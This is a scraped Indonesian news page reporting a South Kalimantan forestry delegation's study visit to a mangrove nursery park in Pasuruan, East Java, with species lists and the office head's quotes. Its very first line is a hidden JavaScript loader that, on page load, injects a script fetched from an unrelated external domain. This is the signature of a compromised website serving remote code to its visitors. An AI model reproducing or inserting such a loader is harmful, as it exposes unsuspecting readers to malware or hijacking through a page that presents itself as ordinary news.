(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Kalsel

Dinas Kehutanan Kalimantan Selatan Kunjungi Persemaian Penunggul Mangrove Park


KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalimantan Selatan bersama Balai Pengelolaan Daerah Aliran Sungai (BPDAS) Barito dan Tim Kelompok Kerja Mangrove menggelar kunjungan studi tiru ke Penunggul Mangrove Park (PMP) di Desa Penunggul, Kecamatan Nguling, Kabupaten Pasuruan, Jawa Timur.

Kunjungan ini bertujuan untuk mempelajari teknik persemaian dan pengelolaan rehabilitasi mangrove di kawasan tersebut. Rombongan dipimpin langsung oleh Kepala Dinas Kehutanan Kalimantan Selatan, Fathimatuzzahra, S.Hut., M.P.

Dalam kunjungan tersebut, rombongan mempelajari berbagai jenis tanaman mangrove yang dibudidayakan di persemaian PMP. Jenis-jenis yang terdapat di persemaian ini meliputi Tinjang (Rhizophora mucronata, Rhizophora apiculata, Rhizophora stylosa), Api-api (Avicennia alba, Avicennia marina), Bogem (Sonneratia alba, Sonneratia caseolaris), Tongke (Bruguiera parviflora), Nipah (Nypa fruticans), dan Cemara Laut (Casuarina equisetifolia). Beragam jenis ini menjadi fokus perhatian karena berperan penting dalam menjaga keseimbangan ekosistem pesisir.

Fathimatuzzahra menegaskan bahwa kegiatan studi tiru ini bertujuan menggali ilmu dan pengalaman dari pola pembibitan yang dilakukan di PMP. “Kami ingin mempelajari bagaimana proses pembibitan mangrove yang baik agar bisa diterapkan di Kalimantan Selatan. Kami berharap metode yang ada di sini dapat mendukung upaya kami dalam merehabilitasi ekosistem mangrove di daerah kami,” jelasnya.

Selain mempelajari teknik pembibitan, rombongan juga meninjau pola tanam yang telah dilakukan di kawasan Penunggul Mangrove Park. PMP telah berhasil mengimplementasikan berbagai metode rehabilitasi mangrove yang dinilai efektif, termasuk tata kelola lahan pesisir dan pemberdayaan masyarakat sekitar. Hasil pengelolaan ini memberikan wawasan baru yang dapat diadaptasi untuk meningkatkan keberhasilan program rehabilitasi di daerah lain.

Kegiatan ini diharapkan menjadi langkah awal kolaborasi antara Kalimantan Selatan dan Jawa Timur dalam pengelolaan mangrove. “Kami sangat terinspirasi oleh program yang ada di sini, dan semoga apa yang kami pelajari dapat meningkatkan efektivitas rehabilitasi mangrove di Kalimantan Selatan,” tutup Fathimatuzzahra. Kunjungan ini juga menjadi bukti komitmen pemerintah daerah dalam menjaga keberlanjutan lingkungan pesisir.(kanalkalimantan.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Belanja Bahagia, PLN Tebar Senyum Berkah untuk Anak Yatim

KANALKALIMANTAN.COM, PONTIANAK - PLN melalui Yayasan Baitul Maal (YBM) PLN dan Srikandi PLN menebar kebahagiaan… Read More

6 jam ago

Hadapi PSU 19 April, 403 PTPS Dilantik dan Diaktifkan Kembali

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 403 orang Pengawas Tempat Pemungutan Suara (PTPS) se Kota Banjarbaru akan… Read More

7 jam ago

Kepala BIN Resmikan Mako BINDA Kalsel di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Badan Intelijen Nasional (BIN) Muhammad Herindra meresmikan gedung baru Markas Komando… Read More

7 jam ago

163 Calon Jemaah Haji Banjarbaru Mulai Ikuti Manasik

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Kantor Kementerian Agama Kota Banjarbaru resmi membuka kegiatan… Read More

7 jam ago

Desa Longkong Ikuti Lomba Posyandu, Ini Pesan Ketua TP PKK HSU

KANALKALIMANTAN.COM, AMUNTAI – Pos Pelayanan Terpadu (Posyandu) Mawar Desa Longkong, Kecamatan Danau Panggang, menjadi lokasi… Read More

8 jam ago

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

11 jam ago

This website uses cookies.